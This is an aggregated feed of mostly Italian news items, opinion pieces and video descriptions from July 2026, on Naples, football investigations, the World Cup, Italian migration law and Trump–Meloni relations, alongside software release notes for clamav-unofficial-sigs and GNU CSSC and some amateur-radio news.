È questa discontinuità a produrre quella condizione che la sociologia urbana definisce urban marginality: territori in cui il monopolio delle regole è incompleto e nei quali continuano a convivere norme ufficiali e codici informali. È qui che Napoli dovrebbe interrogarsi. Negli ultimi dieci anni la città ha conosciuto una trasformazione straordinaria. Il turismo è esploso. L’immagine internazionale è cambiata. Quartieri un tempo ignorati sono diventati mete globali. Napoli è tornata a essere desiderata. Ma una città non diventa davvero internazionale soltanto perché aumenta il numero dei visitatori. Lo diventa quando chi ci vive e chi la visita percepiscono la stessa cosa: che lo spazio pubblico appartiene alle regole comuni e non ai rapporti di forza. Il successo turistico rischia invece di convivere con una modernizzazione incompleta, nella quale il centro storico diventa una vetrina globale mentre persistono, spesso a pochi metri di distanza, forme di regolazione sociale che appartengono a un’altra idea di città. È questa la contraddizione che Montesanto porta alla luce. Racconta qualcosa di difficile da affrontare: una città che sta diventando globale molto più rapidamente di quanto riesca a diventare pienamente governata. Finché il conflitto continuerà a trovare soluzioni fuori dalle istituzioni, la modernità di Napoli resterà una fotografia splendida con una crepa che attraversa il paesaggio.

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Aurelio e Luigi De Laurentiis indagati per bancarotta, l’inchiesta sulla cessione del portiere Caprile tra Bari e Napoli

È ancora una volta il calciomercato a mettere nei guai il presidente del Napoli Aurelio De Laurentiis. L’imprenditore e il figlio Luigi sono indagati dalla Procura di Bari per bancarotta fraudolenta e false comunicazioni sociali in merito all’operazione che, nell’estate del 2023, portò al trasferimento del calciatore Elia Caprile dal Bari al Napoli. Stando alle accuse dei pubblici ministeri baresi l’operazione di cessione del portiere dal Bari al Napoli nel 2023, due società entrambe di proprietà della Filmauro spa, società della famiglia De Laurentiis, avrebbe provocato un ingiusto profitto nei confronti del Napoli.

Si tratta di una tesi nota ma difficilmente dimostrabile in sede giudiziaria. Secondo gli inquirenti nel giro di due anni il Napoli realizzò una plusvalenza di circa 7 milioni di euro: nel bilancio di esercizio del 2024 della Ssc Bari infatti non sarebbero evidenziati i criteri adottati per la determinazione del corrispettivo e la valutazione del potenziale valore futuro del calciatore, ceduto per 2,2 milioni di euro dalla società pugliese a quella campana. Il Napoli poi cedette Caprile al Cagliari per 8 milioni di euro: per la Procura quella plusvalenza sarebbe riconducibile a un percorso di valorizzazione sportiva che avrebbe potuto porre in essere il Bari.

Quanto all’ipotesi di bancarotta fraudolenta, per gli inquirenti il valore di 2,2 milioni di euro con cui Caprile fu ceduto dal Bari al Napoli non risponderebbe al valore effettivo dell’asset e, dunque, la mancata plusvalenza maturata dal Bari avrebbe causato un danno al patrimonio della società pugliese guida da Luigi De Laurentiis. L’inchiesta ha portato a perquisizioni nelle sedi delle due società da parte della finanza: i destinatari delle perquisizioni per questa vicenda (non indagati) sono i direttori sportivi del Bari,Ciro Polito e del Napoli Cristiano Giuntoli (fino al giugno 2023) e Mauro Meluso (da luglio 2023 a maggio 2024), oltre al procuratore sportivo di Caprile Graziano Battistini.

La Procura ha chiesto formalmente l’apertura della liquidazione giudiziale, una procedura che di fatto corrisponde alla richiesta di fallimento per la società biancorossa. L’inchiesta sul passaggio di Caprile dal Bari al Napoli si fonda infatti su una serie di approfondimenti della Guardia di Finanza sui bilanci del club pugliese, che secondo gli inquirenti si trova da tempo in una situazione di perdita sistemica con “rossi” accumulati tra il 2019 e il 2025 che avrebbero raggiunto la cifra di circa 30 milioni di euro. Un deficit accompagnato da un pesante indebitamento, a cui la proprietà non avrebbe contrapposto un piano concreto e solido per risanare i conti.

Per il patron del Napoli non è il primo problema con la giustizia legato alla compravendita di calciatori. Aurelio De Laurentiis nel novembre 2025 è stato rinviato a giudizio dal Gup di Roma per l’accusa di falso in bilancio in un procedimento che riguarda presunte plusvalenze fittizie legate agli acquisti dei calciatori Victor Osimhen (dal Lille nell’estate del 2020) e Kostas Manolas (dalla Roma nell’estate 2019).

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USA fuori dai Mondiali, nella partita del caso Balogun il Belgio dilaga ed esulta con la Trump Dance: “Ribalta questo”

A niente è servito tutto il polverone, il caso più clamoroso scoppiato ai Mondiali di calcio in corso tra USA, Canada e Messico, sollevato soltanto incidentalmente dal campo quanto piuttosto dalla Casa Bianca: da Donald Trump che in spregio a ogni pudore e formalità aveva telefonato alla FIFA per chiedere conto dell’espulsione del capocannoniere statunitense Folarin Balogun. E la FIFA aveva eseguito: squalifica sospesa all’attaccante americano per un anno, abile e arruolabile per gli ottavi di finale. E Belgio esterrefatto, UEFA all’attacco, ogni appassionato sconvolto, anche in Italia tra l’altro nei giorni dello scontro frontale con la Presidente del Consiglio Giorgia Meloni. 4 a 1 è finita ieri sera a favore dei Diables Rouges. Con Folarin in campo. USA fuori.

Poche ore prima della partita, dalla Casa Bianca, Trump aveva ammesso di aver telefonato alla FIFA per il cartellino rosso rimediato da Balogun per un intervento involontario ma pericoloso e scomposto nella partita contro la Bosnia Erzegovina. “Ho visto la partita, e capisco davvero bene lo sport. Quello non era un fallo; non era nemmeno un’infrazione. Erano due ragazzi che correvano a tutta velocità e che sono capitati a sbattere l’uno contro l’altro. Non puoi prendere il tuo piede e posizionarlo correttamente sul piede di qualcun altro. Questo arbitro è un po’ sospetto: se controlli il suo passato, non voglio dirlo perché non mi piace creare controversie, ma è molto sospetto”.

Anche Gianni Infantino, il presidente della FIFA, ieri aveva respinto le polemiche e aveva spiegato che ogni decisione presa dagli organi giudiziari della FIFA sono indipendenti, che “la loro indipendenza è essenziale per la credibilità e l’integrità del calcio”, che parla abitualmente con Trump e con altri Capi di Stato, funzionari governativi e stakeholder e che “quello che faccio sempre, però, è rispettare quelle decisioni e l’autonomia degli organi che le prendono. Che ci piaccia personalmente una decisione o no è irrilevante. Il rispetto per le istituzioni indipendenti e il rispetto della legge sono ciò che protegge l’integrità delle nostre competizioni e la credibilità della FIFA in ogni momento”. Aveva confermato la telefonata ma negato che abbia influito in qualche modo sulla decisione di sospendere la squalifica dell’attaccante.

 

 

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La FIFA aveva così respinto il ricorso del Belgio, giudicato “inammissibile” in quanto la Nazionale “non è parte del procedimento e, pertanto, non ha titolo per impugnare la decisione” proprio mentre Trump spiegava e argomentava le ragioni della sua telefonata, ammettendo tra le altre cose che non conosceva il significato di un cartellino rosso nel gioco del calcio. “Non sapevo cosa significasse, non pensavo significasse molto. Poi ho iniziato a sentire che non può giocare nella prossima partita, almeno nella prossima partita. Quando prendono il tuo miglior giocatore e dicono che non puoi giocare è molto ingiusto. Un conto è penalizzare qualcuno per la partita, ma come fai a penalizzare per una partita che non è ancora stata giocata? È molto ingiusto. Quindi, sì, ho chiesto una revisione alla FIFA. Ho parlato con un uomo molto rispettato, per cui il livello di rispetto è aumentato di dieci volte”.

Alcuni avevano lanciato un appello all’allenatore degli USA, Mauricio Pochettino, affinché non schierasse Balogun che, nella notte italiana, alla fine ha giocato e non ha brillato. È stato giudicato come uno dei peggiori in campo. Due gol e un assist per Charles De Ketelaere, terzo gol di Hans Vanaen, nei minuti di recupero il quarto gol di Romelu Lukaku, attaccante del Napoli, ex Inter e Roma, che ha esultato con la “Trump Dance”. L’unico gol degli USA è stato segnato da Malik Tillman. “Ribalta questo”, ha postato l’account ufficiale del Belgio che ai quarti di finale giocherà contro la Spagna, il 10 luglio al Los Angeles Stadium, in California. Con l’uscita degli Stati Uniti tutte le nazionali dei Paesi organizzatori sono fuori dai Mondiali.

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Attentato di Monaco, trovata morta a Kiev la donna sospettata dell’attacco all’oligarca Ermolaev: uccisa a colpi d’arma da fuoco

È stata trovata morta vicino Kiev, dove sarebbe stata uccisa a colpi d’arma da fuoco. Il corpo di Anastasia Berezovska, trentanovenne di nazionalità ucraina ma residente in Germania, considerata la principale sospettata dell’attentato dinamitardo di lunedì 29 giugno nel Principato di Monaco che ha gravemente ferito l’oligarca ucraino Vadim Ermolaev, la compagna e il figlio 13enne, è stato trovato privo di vita nei pressi della capitale dell’Ucraina. A riferirlo è il quotidiano ucraino Ukrainska Pravda citando le forze dell’ordine locali: il cadavere di Anastasia Berezovska è stato scoperto nella tarda serata del 6 luglio e, nell’ambito dell’inchiesta relativa alla sua morte, sarebbero già state arrestate due persone. Si tratta di un ufficiale in servizio della Direzione principale dell’intelligence militare ucraina (Gur) e un ex appartenente alle forze dell’ordine.

Nei confronti di Berezovska la Procura di Monaco aveva emesso un mandato d’arresto, notificato poi all’Interpol. La 39enne ucraina era stata inizialmente scambiata per un uomo a causa dei vestiti indossati: prima dell’attacco dinamitardo, come emerso dalle indagini condotte nel Principato, Berezovska avrebbe compiuto diversi sopralluoghi nei giorni e nelle ore precedenti l’attentato davanti alla casa dell’oligarca ucraino. Dopo aver piazzato la bomba era poi fuggita in Francia e da lì in Italia utilizzando un’auto recuperata a Beausoleil, in Francia, al confine con Monaco, dove era arrivata a piedi dopo l’attentato. Dal nostro Paese si sarebbe diretta verso la vicina Svizzera, per poi scomparire fino alla tarda serata di lunedì, quando il suo corpo è stato rinvenuto nei dintorni di Kiev.

La pista privilegiata dalla Procura di Monaco è quella di un’azione dimostrativa dei servizi segreti ucraini, per dare un segnale a tutti gli oligarchi come Ermolaev, quelli noti come “Battaglione Monaco” per la scelta di rifugiarsi nel Principato per sfuggire alle rappresaglie di Kiev. Ermolaev, dal 2019 in possesso di un passaporto cipriota, dal dicembre 2023 è sottoposto a sanzioni con un decreto del Consiglio di sicurezza nazionale ucriaino: il provvedimento, della durata di 10 anni, impone tra le altre cose il congelamento totale degli asset finanziari. L’accusa nei confronti dell’imprenditore riguarda le sue condotte illecite in Crimea: è nella regione ucraina sotto occupazione russa e dal 2014 annessa illegalmente da Mosca dopo un referendum farsa che le aziende di Ermolaev continuava a vendere propri prodotti, in particolare alcolici, nonostante il divieto imposto dal governo ucraino. Ermolaev ha sempre respinto ogni addebito, negando qualsiasi legame con la Crimea e col Cremlino.

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Perché la legge Bossi-Fini è la fabbrica dei clandestini: produrre i nemici per scagliarcisi contro

Quando nel luglio del 2013 Papa Francesco scelse Lampedusa come primo viaggio del suo pontificato, non andò a parlare di immigrazione. Andò a parlare di indifferenza. Denunciò quella che definì la “globalizzazione dell’indifferenza”: uomini, donne e bambini che morivano nel Mediterraneo mentre l’Europa discuteva di quote, confini e procedure.

Tredici anni dopo anche Leone XIV sceglie Lampedusa. Non è soltanto una visita pastorale. È un messaggio politico, nel senso più alto del termine, è un invito all’Europa a tenere insieme regole e accoglienza. Ed è un messaggio che arriva nel momento in cui il vento soffia nella direzione opposta. Negli Stati Uniti Donald Trump ha trasformato l’immigrazione nel principale terreno di scontro politico, tra deportazioni di massa, muri e retate. In Europa avanzano governi e partiti che considerano ogni barcone una minaccia e ogni politica di integrazione una resa. Ovunque sembra prevalere la tentazione di sostituire il governo dei fenomeni con la loro rappresentazione: meno soluzioni, più slogan; meno regole efficaci, più propaganda. È dentro questo clima che Lampedusa torna a essere una coscienza. Ricorda che controllare i confini è un dovere degli Stati. Ma costruire deliberatamente irregolarità non è una politica. È un fallimento. E proprio qui emerge il paradosso italiano. Esiste una categoria di persone che la destra detesta più di ogni altra: i migranti irregolari. Ne parla ogni giorno. Li indica come il simbolo del degrado, dell’insicurezza, dell’illegalità. Promette di rimpatriarli, di espellerli, di fermarli, di mandarli in Albania.

Sono la materia prima di ogni campagna elettorale. Poi accade una cosa curiosa. La stessa destra difende con i denti la legge che quegli irregolari li produce. La Bossi-Fini è ormai un monumento politico. Dal 2002 non si tocca. È diventata una reliquia identitaria. Guai a dire che forse non funziona. Verresti immediatamente catalogato tra gli amici dell’immigrazione incontrollata. E invece basterebbe leggere i numeri. Meno di un ingresso su dieci previsto dai Decreti Flussi si trasforma davvero in un permesso di soggiorno e in un contratto di lavoro. Gli altri finiscono nel limbo. Invisibili. Ricattabili. Perfetti per il lavoro nero, il caporalato, l’economia sommersa. Una legge nata per combattere la clandestinità produce clandestini in serie. Un piccolo capolavoro. Naturalmente il governo Meloni sa benissimo che l’Italia ha bisogno di lavoratori stranieri. Lo dimostra ogni anno quando approva nuovi Decreti Flussi autorizzando centinaia di migliaia di ingressi. Ed è qui che il racconto diventa irresistibile. Perché oggi i più accesi sostenitori della “remigrazione” sono gli stessi che ieri hanno votato quei decreti. I deputati vannacciani, oggi in Futuro Nazionale, nel 2024 votarono il decreto che autorizzava oltre 450 mila lavoratori stranieri. Forse erano altri? Forse un’improvvisa epidemia di omonimia parlamentare. Oppure, più semplicemente, cambiano le parole d’ordine con la stessa rapidità con cui si cambia gruppo parlamentare. Prima servivano lavoratori. Adesso servono nemici.

La verità è molto meno epica. L’Italia invecchia. Nascono sempre meno bambini. Mancano muratori, infermieri, badanti, camerieri, operai agricoli. Lo ripetono gli imprenditori. Lo sanno i sindaci. Lo sa il governo. Lo sanno tutti. Ma anziché costruire un sistema semplice per fare entrare chi serve, identificarlo, farlo lavorare, pagare le tasse e i contributi, preferiamo costruire un labirinto amministrativo che trasforma persone regolari in persone irregolari. Poi ci indigniamo perché esistono gli irregolari. È un meccanismo quasi perfetto. Prima li fabbrichiamo. Poi li utilizziamo come prova che avevamo ragione. La Bossi-Fini è questo: una gigantesca macchina della clandestinità di Stato. Non perché favorisca l’immigrazione. Perché favorisce l’immigrazione irregolare. Costringe lo Stato a rincorrere permessi, rinnovi, pratiche, timbri e ricorsi, mentre i controlli veri sul lavoro nero restano insufficienti e lo sfruttamento prospera.

Sarebbe curioso chiedere a un elettore di destra se preferisce uno straniero identificato, assunto regolarmente, che versa contributi e paga le tasse, oppure uno sconosciuto senza documenti, senza contratto e nelle mani dei caporali. Probabilmente sceglierebbe il primo. Eppure continua a votare chi difende il secondo modello. Perché la destra ha scoperto una cosa straordinaria: alcuni problemi sono troppo redditizi per essere risolti. L’immigrazione irregolare è uno di questi. Se diminuisse davvero, bisognerebbe trovare un altro argomento con cui spaventare gli italiani. E Lampedusa tornerebbe a essere ciò che dovrebbe essere: un’isola del Mediterraneo. Non il luogo in cui, da tredici anni, due Papi sono costretti a ricordare alla politica una verità elementare: l’immigrazione si governa con regole giuste, canali legali e controlli efficaci, non costruendo clandestini per poi usarli come bersaglio della propria propaganda.

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Perché gli attacchi di Trump dimostrano la devastante sconfitta di Meloni in politica estera

Se fin qui aveva usato la mazza, adesso Donald Trump è passato direttamente alla clava. Il meme, che dovrebbe avere diffusione molto maggiore di un semplice post, messo in rete dal presidente americano nella notte tra domenica e lunedì equivale a una bomba di profondità mediatica. Giusto un’istantanea di Giorgia che guarda adorante l’americano preso di spalle e un laconico commento: “Restraining Order Needed”. Traduzione letterale: “È necessaria un’ordinanza restrittiva”. Traduzione in italiano corrente: “Toglietemela dai piedi”. A confronto la nota intervista telefonica con la quale il presidente aveva aperto le ostilità, quella del ‘ho accettato la foto perché mi faceva pena’ è una carezza.

A palazzo Chigi e nel governo la nuova carica non se l’aspettava nessuno. In vista del vertice di Ankara di domani promette malissimo. Se The Donald picchia così sulla leader che si è scelto come vittima preferita per bastonare l’intera Europa è probabile che arrivi in Turchia deciso a litigare e non è affatto escluso che per aprire le danze se la prenda di nuovo con Giorgia, e stavolta dal vivo. La decisione della premier era prevedibile. Non reagire. Non replicare. Non prestarsi al gioco e tenere le dita ben intrecciate augurandosi che l’americano non vada oltre. In privato i pezzi da novanta della maggioranza bersagliano l’ex idolo Maga. In pubblico restano muti come la stessa premier o commentano flautati. Lo fa Tajani:Parole che si commentano da sole ma le relazioni transatlantiche vanno al di là delle semplici dichiarazioni”. Lo fa anche Crosetto:Bisogna mantenere i rapporti con un alleato storico come gli Usa. Le persone passano, i rapporti restano”. Parole molto caute che proprio per questo mettono in risalto il silenzio del vicepremier Salvini che non arriva neppure a tanto e si barrica dietro un imbarazzante ‘No Comment’.

Mantenere la stessa cautela ad Ankara sarà più difficile, dal momento che per quanto si sforzi di star lontana dal nemico americano Meloni non potrà evitarlo soprattutto se a scegliere lo scontro fosse lui, come è in realtà improbabile ma non impossibile. Ma il punto critico non sono le eventuali villanie di Trump: è la concretissima materia del contendere, cioè le spese militari. Perché proprio su quel fronte l’Italia arriva ad Ankara ancora più esposta del resto d’Europa che già non scherza. Un anno fa, a L’Aja, tutti, con l’esplicito intento di ingraziarsi il rissoso Donald, avevano accettato l’impegno di portare le spese per la difesa sino al 3,5% e quelle per la sicurezza all’1,5% entro il 2035. Detto e non fatto, soprattutto dall’Italia.

La premier arriverà vantando un salto dall’ 1,6% al 2,8% nell’ultimo anno e promettendo di “proseguire in questa traiettoria”, cioè confermando quanto meno esplicitamente possibile il proibitivo impegno. Quelle percentuali però sono in buona parte taroccate. La spesa italiana va divisa in un 2,09% per la difesa propriamente detta e in uno 0,71% per la sicurezza intesa in senso molto lato. La prima percentuale supera di poco quella del 2025, 2% e anche allora il salto di quattro decimali era dovuto non a veri nuovi investimenti ma a un riconteggio di spese precedenti che, tirando un po’ le cose per i capelli, possono rientrare comunque negli standard Nato. La percentuale investita in sicurezza, poi, stata raggiunta considerando “sicurezza” davvero di tutto e di più. Lo sanno tutti in Italia. Difficile credere che non lo sappia Trump.

Bisogna aggiungere due particolari decisivi. L’Italia ha scelto di non aderire al Purl, il piano di acquisti di armi americane da inviare all’Ucraina. Soprattutto, dopo aver prenotato in autunno 14,9 mld per le armi con il SAFE, il prestito molto agevolato europeo, tutto è stato congelato e, nonostante le recenti e volutamente ambigue dichiarazioni, non è affatto detto che il governo scelga di accedere a quel prestito. Conclusione: anche al di là del personale malanimo di Trump nei confronti della ex pupilla che considera oggi una traditrice, l’Italia è davvero l’anello più debole della catena europea e si presterebbe pertanto comunque a fare da primo bersaglio se il presidente americano decidesse, come è probabile che faccia, di attaccare a testa bassa. La premier mira a parare il colpo con la promessa di investire lo 0,55% in più entro il 2028. Sono 17 mld e trovarli in piena campagna elettorale non sarà né facile né indolore.

In casa l’opposizione tutta offre solidarietà alla premier. Schlein e Conte adoperano quasi le stessa formula: le parole di Trump sono inaccettabili ma a prestare il fianco facendosi incantare dalla propaganda Maga invece di scegliere risolutamente l’Europa è stata proprio la maltrattata. Piena solidarietà ma è ora che si svegli. Non che Giorgia possa battere altre strade. A questo punto fidarsi ancora della Casa Bianca indicherebbe solo tendenze suicide e cercare riparo dietro l’Europa è l’unica possibilità per Giorgia. È una devastante sconfitta di tutta la sua strategia in politica estera ma è anche una strada a modo suo comunque impervia. Perché sia per quanto riguarda l’Ucraina che il riarmo anche i partner europei pretendono a questo punto molto più che belle e molto economiche parole.

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L'artigiano avrà sempre valore?

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Una breve riflessione su come i tool e le pipeline cambiano nel tempo, ma il valore dell'artigiano e del lavoro tailor made continuerà a esistere perché le persone pagano per il brand e la specificità.

0:00 Cambiamento dei tool
0:20 Il valore dell'artigiano

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clamav-unofficial-sigs

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  • Versione: 8.0.0

clamav-unofficial-sigs fornisce un modo semplice di scaricare, testare e aggiornare database verificati di terze parti forniti da Sanesecurity, FOXHOLE, OITC, Scamnailer, BOFHLAND, CRDF, Porcupine, Securiteinfo, MalwarePatrol, Yara-Rules Project, urlhaus, etc. Lo script genera e installa anche cron, logrotate, e i file man.

Aggiornamento

L'aggiornamento alla versione major 8.0.0 a partire dalla versione 7.x semplice:

clamav-unofficial-sigs.sh --upgrade
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Controllare il file log /var/log/clamav-unofficial-sigs/clamav-unofficial-sigs.log alla fine.

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THE POOTER: This guy just farted by me!

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Documenti Segreti che Hanno Ricattato l'Italia: la Verità su Gelli e Moro — Parte 2

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Cosa sapevano davvero Aldo Moro e Licio Gelli? E perché chi ha provato a raccontarlo è morto prima di poterlo fare? Una pellicola scomparsa, un'agenda rossa mai ritrovata, pagine segrete nascoste per dodici anni dentro un muro.

Siamo tra la strage di piazza Fontana del 1969 e il sequestro di Aldo Moro del 1978, negli anni più bui della Repubblica italiana. Protagonisti di questa storia sono Licio Gelli, capo della loggia P2, lo stesso Aldo Moro e i giornalisti che hanno pagato con la vita il tentativo di far emergere la verità.

Cosa trovi in questo video:
✔️ La vera lista della P2 e i nomi mai resi pubblici
✔️ Il Memoriale di Aldo Moro ritrovato in via Monte Nevoso
✔️ Le 229 pagine nascoste per dodici anni dentro una parete
✔️ Il collegamento tra il memoriale e Gladio
✔️ Le morti sospette di Pecorelli, Turatello e Chichiarelli
✔️ La pellicola Super 8 girata a piazza Fontana nel 1969

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• Questo video è frutto di ricerca giornalistica e utilizza solo fonti pubbliche e accessibili.
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NASA Takes Flight For America's 250th

NASA Administrator Jared Isaacman leads a flyover featuring his personally owned F-5 Tiger during the Great American State Fair on July 4, 2026, on the National Mall in Washington, D.C.

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BAD DRIVERS OF ITALY dashcam compilation 7.6 - MAMMA MIA

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Trova la tua prossima DASHCAM https://sicurisullastrada.it/dashcam/
Dubbi o domande? Trovi qui le RISPOSTE https://sicurisullastrada.it/dashcam-5-minuti-per-sapere-tutto/
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AI, il nuovo fronte della sicurezza: il red teaming diventa indispensabile

L’intelligenza artificiale sta entrando nelle aziende con una velocità che non ha precedenti, ma la sua diffusione sta facendo emergere una realtà che molti responsabili della sicurezza stanno iniziando a sperimentare direttamente: i tradizionali strumenti di difesa non sono stati progettati per proteggere sistemi che ragionano attraverso il linguaggio naturale. Firewall, Web Application Firewall e […]

L'articolo AI, il nuovo fronte della sicurezza: il red teaming diventa indispensabile proviene da Securityinfo.it.

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When Internet Traffic Becomes a Physical Event

Why do live sports, ticket sales, and public service launches sometimes resemble DDoS attacks? This article explores how synchronised user behaviour turns Internet traffic into a physical phenomenon that places real pressure on network infrastructure.
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Non oggi. (incidente completo)

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Il mio incidente sul ponte tibetano. Forse uno dei momenti più paurosi che ho vissuto nella mia vita. Ho voluto mostrarvi tutto senza filtri perchè può essere d'insegnamento.

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Perché la normalità è semplicemente noiosa


Il doppio centenario della JARL

Il 12 giugno 2026, la Japan Amateur Radio League (JARL) ha celebrato il centesimo anniversario della sua fondazione. Successivamente, la nostra consorella IARU festeggerà il centenario dell’emissione della prima licenza ufficiale per una “stazione sperimentale privata di radiotelegrafia e radiotelefonia a onde corte”, rilasciata il 10 settembre 1927 a Kankichi Kusama con nominativo JXAX. La sperimentazione era limitata a una sola banda (38 metri) e con una potenza massima di 10 watt, ma ciò che conta è il riconoscimento a livello governativo dell’attività radioamatoriale, fino a quel momento condotta in modo “abusivo”.

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FESTA DELLA FAI A CARRARA

F(A)I FestaAll’arrembaggio del futuro!Carrara10-11-12 Luglio 2026 Venerdì 10 Piazza Duomoh.18 “25 anni dal G8 di Genova: un racconto di quell’esperienza nella prospettiva delle lotte di oggi” interverranno compagn* di “Anarchici contro il G8”A seguire cena e concerto in piazza delle Erbe con “I Premi Oskar” Sabato 11 Piazza Duomoh.11 Trekking urbano alla scoperta dei luoghi […]
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Inaugurazione dell’Edificio dell’Orologio

Il prossimo 19 luglio, Anniversario della Liberazione di Livorno, a partire dalle 18.30, sarà l’occasione per presentare alla cittadinanza la nuova sede dell’ISTORECO.

Grazie alla disponibilità del Comune, del Sindaco e alla riconosciuta rilevanza della nostra attività in città sul fronte della conservazione della memoria, della divulgazione di una conoscenza critica del nostro passato, della promozione costante di ricerche di qualità che hanno attirato l’attenzione di studiosi, siamo stati individuati come il soggetto adatto a entrare in questa sede prestigiosa contrassegnata dagli avvenimenti più importanti degli ultimi due secoli passati.

La nuova sede è l’Edificio dell’Orologio, ex ingresso del Cantiere Navale di Livorno, un pezzo della storia del Novecento livornese.

Il presidente nazionale dell’Istituto Nazionale “Ferruccio Parri”, Senatore Paolo Corsini, terrà la commemorazione ufficiale, accompagnato dagli interventi della direttrice Catia Sonetti e di due nostri giovani collaboratori. Il tutto sarà allietato dalla banda cittadina.

Come Istoreco abbiamo deciso di presentarla alla cittadinanza in un momento di festa importante, con ospiti illustri. Naturalmente la piena operatività della sede sarà rinviata di qualche mese per le necessità legate al trasloco e per alcuni accorgimenti per poter accogliere cittadini e studenti. Motivo per cui gli uffici fino all’autunno saranno in Via Marradi. 

Vi aspettiamo numerosi!

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Vale ancora la pena studiare nel 2026?

💾

Una breve discussione su se abbia senso continuare a studiare e accumulare conoscenza nel 2026, considerando i rischi di perdita di informazione digitale e il ruolo degli LLM nel preservare il sapere.

0:00 La domanda iniziale
0:08 Perché studiare: il terrore della perdita

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cssc @ Savannah: CSSC-1.5.0 released

This is to announce CSSC-1.5.0, a beta release.

There have been 424 commits by 2 people since 1.4.1.   Thanks to Greg A. Woods for helping to improve CSSC.

See the NEWS below for a brief summary.

===============================================================

Here is the GNU CSSC home page:
    https://gn ... rg/s/CSSC/

Here are the compressed sources and a GPG detached signature:
  https://alpha.gnu ... CSSC-1.5.0.tar.gz
  https://alpha.gnu ... -1.5.0.tar.gz.sig

Use a mirror for higher download bandwidth:
  https://www.gnu.o ... rg/order/ftp.html

Here are the SHA256 and SHA3-256 checksums:

  File: CSSC-1.5.0.tar.gz
  SHA256 sum:   8483a31aac756955843ef574bed6fa9e052ea492217f3882033487d2704c6cf4
  SHA3-256 sum: c138c32cab373a51c32d2049064532ac24a6fa777b7edecabe4d605460018845

Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.

Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

  gpg --verify CSSC-1.5.0.tar.gz.sig

The signature should match the fingerprint of the following key:

  pub   rsa4096 2015-12-24 [SC]
        0CF4 E8D8 7159 3224 8428  32B8 88DD 9E08 C5DD ACB9
  uid   James Youngman <james@youngman.org>
  uid   James Youngman <jay@gnu.org>

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

  gpg --locate-external-key james@youngman.org

  gpg --recv-keys 88DD9E08C5DDACB9

  wget -q -O- 'https://savannah. ... SC&download=1'
| gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

  wget -q https://ftp.gnu.o ... u/gnu-keyring.gpg
  gpg --keyring gnu-keyring.gpg --verify CSSC-1.5.0.tar.gz.sig

This release is based on the CSSC git repository, available as

  git clone https://https.git ... .org/git/CSSC.git

with commit 77bdce39a09b9ff37831c4dd1cb0d4dd5967cb39 tagged as v1.5.0.

For a summary of changes and contributors, see:

  https://gitweb.gi ... shortlog;h=v1.5.0

or run this command from a git-cloned CSSC directory:

  git shortlog CSSC-1.4.1..v1.5.0

This release was bootstrapped with the following tools:
  Autoconf 2.72
  Automake 1.17
  Gnulib 2026-06-08 88592a2880cf39a2f597cd0294a90d8dd7faa2df

NEWS

  • Noteworthy changes in release 1.5.0 (2026-07-05) [beta]


        * The test suite no longer depends on Python, so it should
work on older systems that have no Python 3 interpreter. While you can
build and test CSSC without Python, you do need a Python interpreter
to do some maintenance tasks (such as importing the "gnulib" code into
a git checkout).

        * Tolerate SCCS files in which file flags lack the space
separator which would normally come between the flag letter and the
associated value.

  • Noteworthy changes in release 1.5.0-rc3 (2026-06-14)


        * Some typos in error message have been fixed.

        * admin now supports combination of -r with -n as well as the
          portable combination of -r with -i.

        * Support "sccs sact"; the sact program already existed but
could not previously be invoked via the sccs wrapper.  Thanks to Greg
A. Woods for this improvement.

        * In some places we now prefer "grep -E" to "egrep" in order
to avoid a warning message from GNU grep.  Some very old versions of
Unix may not support this option.

        * Various C++ portability improvements.

        * Updated version of gnulib.

        * Updated version of googletest; this is now at the last
version at which it still supported building with Automake.

  • Noteworthy changes in release 1.5.0-rc2 (2024-05-13)


        * This release is more careful to detect I/O failures when
writing to stdout in prs and prt.

        * This release should build on more modern platforms.

        * The --with-googletest configure option is removed (now we
always use it).

        * Updated versions of gnulib and googletest.

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DISASTRO SCSI: Ho quasi perso 30 anni di lavoro in computer grafica

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Timeline:
00:00 Addio al vecchio Data Center
00:23 Trasferimento dello studio e vecchi server
01:04 Il disastro: i computer non si avviano
02:56 Analisi tecnica e sbudellamento server
04:27 Primi test e problemi di avvio Windows
06:02 Sostituzione batteria BIOS e check RAID
07:30 Test con Mini XP e idea clonazione disco
08:07 Riparazione alimentatore e cambio GPU
11:12 Installazione driver e clonazione finale
12:11 Secondo fallimento e reinstallazione pulita
13:26 Vittoria! Recupero dei dati e del RAID
14:38 30 anni di spot TV e animazioni 3D
17:46 Conclusioni e saluti finali

#MVVblog #ComputerGrafica #DataRecovery #RetroComputing #ServerRestoration #Informatica #3DAnimation
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IL CASTELLO INTERIORE | Viaggio al centro dell’anima

Perché, dopo quasi cinquecento anni, il Castello interiore di Santa Teresa d’Avila continua a parlare all’uomo contemporaneo? Un viaggio filosofico tra coscienza, conoscenza di sé, libertà e interiorità, alla scoperta di uno dei capolavori assoluti della spiritualità occidentale. 🎬 Premiere05/07/2026 [riservato agli abbonati a Scorribande filosofiche]👉https://youtu.be/vlSZN7a857E Il Castello interiore è molto più di un classico […]

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Perché non dimentichiamo alcune persone?

Jung e il mistero delle presenze che restano Le dimentichiamo quasi tutte. Compagni di scuola, colleghi, amici occasionali, perfino amori che sembravano destinati a durare per sempre. Eppure alcune persone continuano ad abitare la nostra memoria per decenni. Perché accade? Carl Gustav Jung propone una risposta sorprendente: forse non custodiamo soltanto il ricordo di una […]

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Hände weg von unseren Funkgeräten!

Die USKA wehrt sich gegen die pauschale Beschlagnahmung von Amateurfunkanlagen in Krisenzeiten, wie sie die geplante Requisitionsverordnung des Bundes vorsieht.

Das Eidgenössische Departement für Verteidigung, Bevölkerungsschutz und Sport (VBS) plant eine neue Requisitionsverordnung. Die Vorlage greift extrem weit und erlaubt es der Armee, im Ernstfall technische Anlagen und Dienstleistungen ohne klare Einschränkungen zu beschlagnahmen. Für Funkamateure und Funkamateurinnen bedeutet das im schlimmsten Fall: Das VBS holt die Ausrüstung ab.

Vernehmlassung

